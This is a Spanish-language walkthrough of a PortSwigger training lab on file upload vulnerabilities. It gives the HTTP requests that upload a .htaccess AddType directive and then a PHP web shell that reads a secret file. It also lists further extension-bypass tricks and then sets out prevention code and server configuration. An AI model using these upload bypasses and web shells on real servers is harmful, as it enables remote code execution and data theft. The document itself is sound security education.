Web Shell Upload via Extension Blacklist Bypass: Lab PortSwigger Resuelto
Este post documenta la resolución del laboratorio "Web shell upload via extension blacklist bypass" de PortSwigger Web Security Academy, una plataforma educativa gratuita para aprender seguridad web de forma práctica.
"Bloqueamos .php, estamos seguros."
Esta es una frase que escucho frecuentemente. Y este laboratorio demuestra exactamente por qué esa confianza es peligrosa.
En este walkthrough vamos a:
- Resolver el lab paso a paso
- Entender por qué funciona el bypass (no solo el "cómo")
- Aprender a prevenir esta vulnerabilidad en aplicaciones reales
Sobre PortSwigger Web Security Academy
PortSwigger Web Security Academy es una de las mejores plataformas gratuitas para aprender seguridad web. Sus laboratorios simulan vulnerabilidades reales en entornos controlados, permitiendo practicar técnicas de pentesting de forma ética y legal.
Este lab específico pertenece a la categoría de File Upload Vulnerabilities y tiene dificultad Practitioner (intermedia).
🔗 Lab original: Web shell upload via extension blacklist bypass
¿Qué es una Vulnerabilidad de File Upload?
Una vulnerabilidad de file upload ocurre cuando una aplicación permite a usuarios subir archivos sin validar correctamente el tipo, contenido o extensión, permitiendo a atacantes ejecutar código malicioso (web shells) en el servidor y comprometer la aplicación completamente.
Según OWASP, las vulnerabilidades de subida de archivos sin restricciones están clasificadas como CWE-434 y pueden llevar a:
- Ejecución remota de código (RCE)
- Toma completa del servidor
- Movimiento lateral en la red
- Exfiltración de datos sensibles
El Problema: Blacklist vs Whitelist
Muchos desarrolladores implementan validación de archivos usando blacklists (listas negras): bloquean extensiones conocidas como peligrosas (.php, .exe, .sh) y permiten todo lo demás.
Este enfoque es fundamentalmente inseguro.
| Característica | Blacklist | Whitelist |
|---|---|---|
| Enfoque | Bloquear extensiones peligrosas | Permitir solo extensiones seguras |
| Seguridad | Baja (se pueden bypassear) | Alta (por defecto deniega todo) |
| Mantenimiento | Alto (nuevas extensiones siempre) | Bajo (lista fija de permitidas) |
| Recomendación | ❌ No usar en producción | ✅ Best practice |
Por Qué las Blacklists Fallan
Las blacklists fallan porque:
- Extensiones alternativas:
.php3,.php4,.php5,.php7,.phtml,.phar,.pht - Variaciones de caso:
.PhP,.PHP,.pHp - Doble extensión:
shell.php.jpg,shell.jpg.php - Archivos de configuración:
.htaccess,web.config,.user.ini - Extensiones desconocidas: Cualquier extensión personalizada
Este laboratorio explota específicamente el punto 4: archivos de configuración.
Contexto del Laboratorio
Escenario
El lab simula una aplicación web con:
- Funcionalidad de subida de avatar para usuarios
- Blacklist que bloquea archivos
.php - Servidor Apache con mod_php habilitado
- Configuración que permite archivos
.htaccess
Objetivo
Subir un web shell que permita leer el contenido del archivo /home/carlos/secret y obtener la flag para resolver el laboratorio.
Credenciales proporcionadas
- Usuario:
wiener - Password:
peter
Walkthrough Paso a Paso
Paso 1: Reconocimiento Inicial
Primero, iniciamos sesión con las credenciales proporcionadas y exploramos la funcionalidad de subida de avatar.
POST /login HTTP/2
Host: <lab-id>.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
username=wiener&password=peter
Una vez autenticados, navegamos a "My Account" donde encontramos la opción de subir una imagen de avatar.
Paso 2: Identificar la Blacklist
Intentamos subir un archivo PHP malicioso directamente:
Archivo: exploit.php
<?php echo file_get_contents('/home/carlos/secret'); ?>
Resultado: El servidor rechaza el archivo con un mensaje indicando que la extensión .php no está permitida.
Esto confirma que existe una blacklist que bloquea .php.
Paso 3: Analizar el Servidor
En Burp Suite, revisamos los headers de respuesta del servidor:
HTTP/2 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
Información clave:
- Apache: Servidor web que procesa archivos
.htaccess - mod_php: Módulo que ejecuta código PHP
Esta combinación es vulnerable al bypass con .htaccess.
Paso 4: Entender el Ataque con .htaccess
Aquí viene la parte importante: ¿por qué funciona este bypass?
¿Qué es .htaccess?
.htaccess (Hypertext Access) es un archivo de configuración distribuida de Apache. Permite modificar la configuración del servidor a nivel de directorio sin acceso al archivo principal httpd.conf.
¿Qué es la directiva AddType?
AddType es una directiva de Apache que mapea extensiones de archivo a tipos MIME:
AddType MIME-type extension
Por ejemplo:
AddType application/pdf .pdf
AddType image/svg+xml .svg
El Truco: Redefinir Extensiones PHP
Si subimos un archivo .htaccess con el siguiente contenido:
AddType application/x-httpd-php .l33t
Esto le dice a Apache: "cualquier archivo con extensión .l33t debe ser procesado como PHP".
El tipo MIME application/x-httpd-php es especial: indica a mod_php que debe interpretar y ejecutar el contenido del archivo como código PHP.
Paso 5: Subir el Archivo .htaccess
En Burp Suite, interceptamos la petición de subida de avatar y la modificamos:
Request original:
POST /my-account/avatar HTTP/2
Host: <lab-id>.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="imagen.jpg"
Content-Type: image/jpeg
[contenido de imagen]
------WebKitFormBoundary
Request modificada:
POST /my-account/avatar HTTP/2
Host: <lab-id>.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain
AddType application/x-httpd-php .l33t
------WebKitFormBoundary
Cambios realizados:
filenamecambiado a.htaccessContent-Typecambiado atext/plain- Contenido reemplazado por la directiva
AddType
Resultado: El archivo se sube exitosamente. La blacklist no bloquea .htaccess.
Paso 6: Subir el Web Shell con Extensión Personalizada
Ahora que .htaccess está activo en el directorio de uploads, subimos nuestro web shell pero con la extensión .l33t:
Request:
POST /my-account/avatar HTTP/2
Host: <lab-id>.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="exploit.l33t"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary
Resultado: El archivo se sube exitosamente. La blacklist no bloquea .l33t porque no está en su lista.
Paso 7: Ejecutar el Web Shell
Accedemos al archivo subido:
GET /files/avatars/exploit.l33t HTTP/2
Host: <lab-id>.web-security-academy.net
Respuesta:
s3cr3t_fl4g_h3r3
Gracias a nuestro archivo .htaccess, Apache interpreta exploit.l33t como PHP, ejecuta el código, y devuelve el contenido del archivo secreto.
Paso 8: Resolver el Laboratorio
Enviamos el secret obtenido para completar el lab.
¡Lab resuelto!
¿Por Qué Funciona Este Bypass?
Resumamos la cadena de eventos:
- La aplicación usa blacklist: Solo bloquea
.php(y quizás otras extensiones conocidas) - No bloquea
.htaccess: Los archivos de configuración no están en la blacklist - Apache procesa
.htaccess: Cuando existe en un directorio, Apache lo lee y aplica AddTyperedefine extensiones: La directiva mapea.l33t→ PHP- El web shell bypasea la blacklist:
.l33tno está bloqueada - Apache ejecuta el PHP: mod_php procesa el archivo como código
El error fundamental es confiar en una blacklist incompleta y permitir subida de archivos de configuración.
Otras Técnicas de Bypass (Más Allá del Lab)
Este laboratorio usa .htaccess, pero existen muchas otras técnicas de bypass:
Extensiones PHP Alternativas
| Extensión | Descripción |
|---|---|
.php3 | PHP 3 legacy |
.php4 | PHP 4 legacy |
.php5 | PHP 5 específico |
.php7 | PHP 7 específico |
.phtml | PHP + HTML |
.pht | PHP HTML Template |
.phar | PHP Archive |
.inc | Include files |
Double Extension
shell.php.jpg # Si solo valida última extensión
shell.jpg.php # Si solo valida primera extensión
Case Manipulation
shell.PHP
shell.PhP
shell.pHp
Null Byte (Histórico, parcheado en PHP 5.3.4+)
shell.php%00.jpg
Otros Archivos de Configuración
| Archivo | Servidor | Efecto |
|---|---|---|
.htaccess | Apache | Redefinir handlers |
web.config | IIS | Configuración ASP.NET |
.user.ini | PHP-FPM | Auto prepend files |
Cómo Prevenir Esta Vulnerabilidad
1. Usar Whitelist, No Blacklist
// ❌ INSEGURO: Blacklist
$blacklist = array('.php', '.php5', '.phtml');
$extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array('.' . strtolower($extension), $blacklist)) {
die("Extension no permitida");
}
// ✅ SEGURO: Whitelist
$whitelist = array('jpg', 'jpeg', 'png', 'gif');
$extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($extension, $whitelist)) {
die("Solo se permiten imágenes");
}
2. Validar Contenido Real del Archivo
// Validar magic bytes
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mimes)) {
die("Tipo de archivo no permitido");
}
3. Renombrar Archivos
// Generar nombre aleatorio
$newName = bin2hex(random_bytes(16)) . '.' . $extension;
4. Almacenar Fuera del Webroot
/var/www/
├── html/ # Document root (accesible via web)
│ └── index.php
└── storage/ # FUERA del webroot (no accesible directamente)
└── uploads/
5. Deshabilitar .htaccess en Directorio de Uploads
<Directory "/var/www/html/uploads">
AllowOverride None
Options -Indexes -ExecCGI
<FilesMatch "\.(php|phtml|php[3-7]|phar)$">
Require all denied
</FilesMatch>
</Directory>
6. Usar PHP-FPM en Lugar de mod_php
PHP-FPM ofrece mejor aislamiento y no es vulnerable al mismo tipo de ataque con AddType, ya que la comunicación es via FastCGI, no por tipo MIME.
Checklist de Seguridad para File Uploads
- ¿Usas whitelist de extensiones (no blacklist)?
- ¿Validas el contenido real del archivo (magic bytes, MIME type)?
- ¿Renombras los archivos con nombres aleatorios?
- ¿Almacenas archivos fuera del webroot?
- ¿Tienes deshabilitado .htaccess en el directorio de uploads?
- ¿Está deshabilitada la ejecución de scripts en el directorio de uploads?
- ¿Validas el tamaño máximo del archivo?
- ¿Tienes headers de seguridad (
X-Content-Type-Options: nosniff)?
Impacto de Negocio
¿Por qué debería importarte esto como CTO o developer?
Según el IBM Cost of Data Breach Report 2024:
- Costo promedio de un breach: $4.88M USD
- Tiempo promedio de detección: 194 días
Un web shell no es solo código ejecutándose. Es:
- Acceso persistente al servidor
- Movimiento lateral en la red interna
- Exfiltración de bases de datos y credenciales
- Ransomware potencial
Y todo puede comenzar con una validación de file upload mal implementada.
Conclusión
Este laboratorio de PortSwigger demuestra una verdad incómoda: las blacklists no funcionan.
La lección clave es simple:
Nunca confíes en lo que bloqueas. Define explícitamente lo que permites.
Si tu aplicación acepta archivos de usuarios, necesitas:
- Whitelist estricta de extensiones
- Validación de contenido real
- Configuración de servidor que prevenga ejecución
Tu Siguiente Paso
Practica este y otros labs en PortSwigger Web Security Academy. Es gratuito y la mejor forma de aprender seguridad web de forma práctica.
Si ya tienes una aplicación en producción que acepta file uploads, hazte estas preguntas:
- ¿Usas whitelist o blacklist?
- ¿Cuándo fue la última vez que alguien externo probó tu funcionalidad de upload?
En Pentacode, auditar funcionalidades de file upload es parte de cada pentest web. No solo buscamos extensiones bloqueadas, probamos bypasses de blacklist, magic bytes, path traversal y escalación via metadatos.
Agenda una consulta de 30 minutos (gratis)
Recursos Adicionales
- PortSwigger: File Upload Vulnerabilities - Todos los labs de file upload
- OWASP: Unrestricted File Upload - Documentación oficial
- CWE-434: Unrestricted Upload of File with Dangerous Type - Clasificación MITRE
- Guía de seguridad para desarrolladores - Best practices de desarrollo seguro
- OWASP Top 10 explicado para startups - Contexto de negocio
Sobre el Autor
Juan Camilo Palacio Alvarez es el fundador de Pentacode, consultora especializada en pentesting y desarrollo seguro para startups en LATAM. Practica regularmente en PortSwigger Web Security Academy y comparte sus aprendizajes para ayudar a developers a construir aplicaciones más seguras.